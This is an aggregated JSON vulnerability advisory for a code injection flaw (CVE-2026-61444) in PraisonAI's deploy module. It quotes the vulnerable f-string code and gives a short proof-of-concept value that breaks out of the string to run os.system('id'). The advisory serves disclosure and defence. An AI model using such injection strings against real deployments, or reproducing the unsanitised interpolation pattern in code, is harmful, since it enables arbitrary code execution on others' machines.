{"id":"CVE-2026-61444","aliases":["CVE-2026-61444","GHSA-g6j7-pffp-8whg","PYSEC-2026-4256"],"related":["CVE-2026-62176"],"kind":"vulnerability","state":"published","title":"PraisonAI before 4.6.78 Code Injection via f-string","summary":"PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agents_file parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agents_file parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().","source":"cvelist"},{"lang":"en","text":"### Summary\nThe `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.\n\n### Details\n\n`src/praisonai/praisonai/deploy/api.py` (line 80):\n\n```python\ncode = f'''...\n    praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n    \"agent_file\": \"{agents_file}\"\n...'''\n```\n\nThe generated code is then executed (line 190):\n```python\nsubprocess.Popen(['python', server_file])\n```\n\n`agents_file` is never sanitized or validated. A malicious value breaks out of the string context:\n\n```python\nagents_file = '\"); import os; os.system(\"id\"); #'\n# Generated code becomes:\n# praisonai = PraisonAI(agent_file=\"\"); import os; os.system(\"id\"); #\")\n```\n\nThe same pattern exists in `deploy/docker.py` (line 33) for Dockerfile generation.\n\n\n### PoC\n\n```python\n# The injection:\nagents_file = '\"); import os; os.system(\"id\"); #'\n\n# What the generated code looks like:\ntemplate = f'praisonai = PraisonAI(agent_file=\"{agents_file}\")'\nprint(template)\n# Output: praisonai = PraisonAI(agent_file=\"\"); import os; os.system(\"id\"); #\")\n```\n\n### Impact\n- **Arbitrary code execution** on the machine running the deploy command\n- **Supply chain risk** if `agents_file` comes from a configuration file or CI/CD pipeline","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones de PraisonAI anteriores a la 4.6.78 contienen una vulnerabilidad de inyección de código en deploy/API.py donde el parámetro agents_file se interpola directamente en una f-string sin sanitización. Los atacantes pueden inyectar código Python arbitrario que se ejecuta cuando el código del servidor generado se ejecuta a través de subprocess.Popen().","source":"nvd"}],"published":"2026-07-10T13:58:07.639Z","modified":"2026-10-25T15:10:00.147Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"4.6.78","status":"affected"},{"type":"semver","version":"4.6.78","status":"unaffected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.6.78"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.6.78"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-g6j7-pffp-8whg","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-f-string","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/praisonai","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-g6j7-pffp-8whg","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62176","tags":["advisory"],"sources":["pysec"]}],"credits":["anushkavirgaonkar"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-07-10T20:29:31.541Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-61444","url":"https://www.cve.org/CVERecord?id=CVE-2026-61444","licence":"CVE Terms of Use","modified":"2026-07-10T20:30:58.059Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g6j7-pffp-8whg","url":"https://github.com/advisories/GHSA-g6j7-pffp-8whg","licence":"CC-BY-4.0","modified":"2026-10-15T14:56:12.523Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-61444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61444","licence":"Public domain","modified":"2026-10-25T15:10:00.147Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-4256","url":"https://osv.dev/vulnerability/PYSEC-2026-4256","licence":"CC-BY-4.0","modified":"2026-10-15T14:56:12.523Z"}],"updatedAt":"2026-11-25T22:59:27.635Z","epss":{"score":0.00496,"percentile":0.44136,"date":"2026-12-01T12:00:22.000Z"}}